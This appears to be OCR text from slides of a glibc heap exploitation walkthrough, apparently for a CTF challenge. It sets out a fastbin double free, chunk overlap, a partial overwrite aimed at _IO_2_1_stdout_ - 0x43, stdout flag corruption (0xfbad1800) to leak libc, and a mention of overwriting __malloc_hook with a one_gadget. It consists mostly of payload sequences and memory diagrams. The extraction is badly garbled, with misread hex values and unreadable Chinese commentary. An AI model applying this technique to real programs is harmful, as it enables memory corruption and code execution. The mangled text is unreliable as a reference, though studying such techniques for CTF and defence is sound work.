Ox71

AABB70

Ox71

Ox71

AABBOO

0x31

0x21

AABBOO

AABB70

save

© --> OxAABBOO

1 -—-> OxAABB70

allocateChunk (0x68)
-=> ‘a’*x0x10
-=> p64(0)+p64(0x71)

allocateChunk (0x68)
-=> ‘b’*x0x10

-=> p64(0) + p64(0x31)
-=> 'c'"x0x20

-=> p64(0) + p64(0x21)

freeChunk(0)
freeChunk(1)
freeChunk(0)



Ox71

AABB70

Ox71

Ox71

AABBOO

0x31

0x21

AABBOO

AABB70

save

© --> OxAABBOO

1 -—-> OxAABB70

allocateChunk(0x68, "\x20")




Ox71

AABB20

Ox71

Ox71

AABBOO

0x31

0x21

AABBOO

AABB20

AABB70

save

© --> OxAABBOO

1 -—-> OxAABB70

2 ——> OxAABBOO

allocateChunk(0x68, "\x00")
allocateChunk(0x68, "\x00")

AABB20



Ox71

AABBO00

Ox71

Ox71

AABBOO

0x31

0x21

AABBOO

AABB20

AABB70

save

© --> OxAABBOO
1 -—-> OxAABB70
2 ——> OxAABBOO
3 ——> OxAABB7O0
4 —--> OxAABBOO

allocateChunk(0x68, "\x00")

AABB20



Ox71

AABBO00

Ox71

Ox71

AABBOO

0x31

0x21

AABBOO

AABB20

AABB70

save

OxAABBOO

OxXAABB7O

OxAABBOO

OxXAABB7O

OxAABBOO

Ol wW[IN|IF]|O

OxAABB20

freeChunk(0)

allocateChunk (0x68)
-=> 'd' x 0x10
--> p64(0) + p64(0xal)



Ox71

ddddd

0

Oxal

0

Ox71

AABBOO

0x31

0x21

AABBOO

AABB20

AABB70

save

OxAABBOO

OxXAABB7O

OxAABBOO

OxXAABB7O

OxAABBOO

OxAABB20

olun|hrh|{WIN]|IFH|O

OxAABBOO

freeChunk(5)

freeChunk(0)
freeChunk (1)



Ox71

Fast bin

0

Oxal

Unsorted * 2

Ox71

AABBOO

0x31

0x21

AABBOO

AABB20

AABB70

save

OxAABBOO

OxXAABB7O

OxAABBOO

OxXAABB7O

OxAABBOO

OxAABB20

olun|hrh|{WIN]|IFH|O

OxAABBOO

allocateChunk (0x78)

>

-=> p64(0) + p64(0x71)+"\xa0"

'f'%xOx40

Fast bin(0x70)

1 —

0

Unsorted bin

X
AABB20




Ox71

Fast bin

0

Ox81

i

0

Ox71

AABBAO

0

0x21

Unsorted

Unsorted

0

0x21

AABBOO

AABB20

AABB70

AABBAO

save

OxAABBOO

OxXAABB7O

OxAABBOO

OxXAABB7O

OxAABBOO

OxAABB20

OxAABBOO

N[O~ W|IN|IFL|O

OxAABB20

IR T RIER D

freechunk(7)

Fast bin(0x70)

1

-

X

Unsorted bin

AABBAO

X
AABBAO

(size: 0x20)




Ox71

Fast bin

0

Ox81

i

0

Ox71

AABBAO

0

0x21

Unsorted

Unsorted

0

0x21

AABBOO

AABB20

AABB70

AABBAO

save

OxAABBOO

OxXAABB7O

OxAABBOO

OxXAABB7O

OxAABBOO

OxAABB20

OxAABBOO

N[O~ W|IN|IFL|O

OxAABB20

IR T RIER D

allocateChunk (0x68)

-=> "c'"x0x20

-=> p64(0) + p64(0x71)

--> p64(stdout - 0x43)[:2]

AABB20
Fast bin(0x80) | 7

Fast bin(0x70)
AABBAO

1 — X

Unsorted bin

X

AABBAO
(size: 0x20)




Ox71

Fast bin

0

Ox81

i

0

Ox71

cccccC

CCCCCC

0

Ox71

stdout - 0x43

Unsorted

0

0x21

AABBOO

AABB20

AABB70

AABBAO

save

OxAABBOO

OxXAABB7O

OxAABBOO

OxXAABB7O

OxAABBOO

OxAABB20

OxAABBOO

OxAABB20

o |IN|[O|UO|[D[W|IN|PRFP|O

OxAABBT70

allocateChunk(0x68, "\x00")

AABB20
Fast bin(0x80) | 7

Fast bin(0x70)
X — M |stdout - 0x43

Unsorted bin

X

AABBAO
(size: 0x70)




Ox71

AABBO00

Oxal

i

0

Ox71

cccccC

CCCCCC

0

Ox71

stdout - 0x43

Unsorted

0

0x21

AABBOO

AABB20

AABB70

AABBAO

10 2 1 _stdout - 0x43

e N
Ox7f

. BikBREH malloc_hook BRIATR{E?
B, BEHIXANOXT, SASATLURE

allocateChunk (0x68)

"\x00' * 3 + p64(0) * 6
p64 (OxfbaddOOO + Ox1800)
p64(0) * 3

"\X80"

AABB20
Fast bin(0x80) | 7

Fast bin(0x70)
M | stdout - 0x43

Unsorted bin

X

AABBAO
(size: 0x70)




Ox71

AABBO00

Oxal

i

0

Ox71

cccccC

CCCCCC

0

Ox71

stdout - 0x43

Unsorted

0

0x21

AABBOO

AABB20

AABB70

AABBAO

10 2 1 _stdout - 0x43

Oxfbad1800

p64(0)*3

XXX80

allocateChunk (0x68)

-=>

"\x00' * 3 + p64(0) * 6
p64 (OxfbaddOOO + Ox1800)
p64(0) * 3

"\X80"

AABB20
Fast bin(0x80) | 7

Fast bin(0x70)

Unsorted bin

X

AABBAO
(size: 0x70)




(18T Libcitit, XB[LADouble Free, AFKREET

#Malloc_hookillfkOne_gadget, IBTE!



allocateChunk (0x68)

-=> "c"x0Ox20

-=> p64(0) + p64(0X71)

-=> p64(libc.symbols['_I0_2_1_stdout'] - 0x43)[:2]

FERK— F=EEXT

FTAENTAEELXINMEINE, REEAGAX MU LAEMZE_T0_2_1_stdout - 0x43
libc BUAE=(2000, FFLA_I0_2_1_stdout HMRBETE1ibc 1 ELFRFAR=IEPZE2—FH
MERIIEXNAIAIE, FEX2Unsorted bin, BRIHELEFD bl BB,

M=, Unsorted binitBtit 1 10 2 1 stdoutittht REFRIIMERER!

FrLARAIEZRLIRER=ML, BAEGR, WMRBOUNIGT—F, BBARBDHESIELL,



IHR AR TFEAER
BCEHfA, chunk_ptr = stdout - 0x43, data_ptr = stdout - 0x33.

* padding
(00)*3 + p64(0) * 6, HT0x33, FALAZRRIABHEstdout FHRT

stdout (K
« flag ====> 0Oxfbadl800

 something ===> p64(0) * 3

« TI0 write_base ==> FHERF

KINMEEEMELibcHE, Bltwrite_baseBgEEIEMIE
FIEMH2ARER, BZEsefEehutil, XHRBEE Y, FIEI_I0_stdin!

BE5CEBfA: I0_stdout.chain = IO _stdin (chain FERULIEMEIO A aInex tiSFHE)
FRLAFRAITRTLA: BB FRMELibchad, EMEHEIO_stdoutkEmEE, FMEHEIO_stdout.chain{®iz

=ZE, WEISFTENIO stdout.chain, tBFLRI0 stdin, RIEMHEL bt



_flags = Oxfbad0000

_flags & = ~ 10 NO WRITES

_flags = OxfbadOOOO _flags | = 10 CURRENTLY PUTTING
“flags = Oxfbad0800 flags | = 10 IS APPENDING flags =
Oxfbad1800
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